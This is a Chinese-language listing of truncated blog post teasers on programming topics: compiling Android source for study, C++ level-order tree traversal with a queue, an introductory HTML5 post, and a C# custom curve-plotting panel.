学习Android源码,如果电脑配置还不错,最好还是下载一套源码,经过编译后导入到Android Studio中来学习,这样会更加的直观,代码之间的跳转查看会更加方便。因此,笔者决定下载并编译一套源码,以利于…...

C++ 数据结构算法细节相关
细节 队列 这段代码实现的是二叉树的层序遍历,也就是按照树的层次,一层一层地遍历节点。下面我会为你详细解释这段代码。 queue <TreeNode*> q; 这是一个队列,队列中存放的是指向TreeNode的指针。队列(queue)是…...

【HTML5】html5开篇基础(1)
1.❤️❤️前言~🥳🎉🎉🎉 Hello, Hello~ 亲爱的朋友们👋👋,这里是E绵绵呀✍️✍️。 如果你喜欢这篇文章,请别吝啬你的点赞❤️❤️和收藏📖📖。如果你对我的…...

C#自定义曲线绘图面板
一、实现功能 1、显示面板绘制。 2、拖动面板,X轴、Y轴都可以拖动。 3、显示面板缩放,放大或者缩小。 4、鼠标在面板中对应的XY轴数值。 5、自动生成的数据数组,曲线显示。 6、鼠标是否在曲线上检测。 二、界面 拖动面板 鼠标在曲线上…...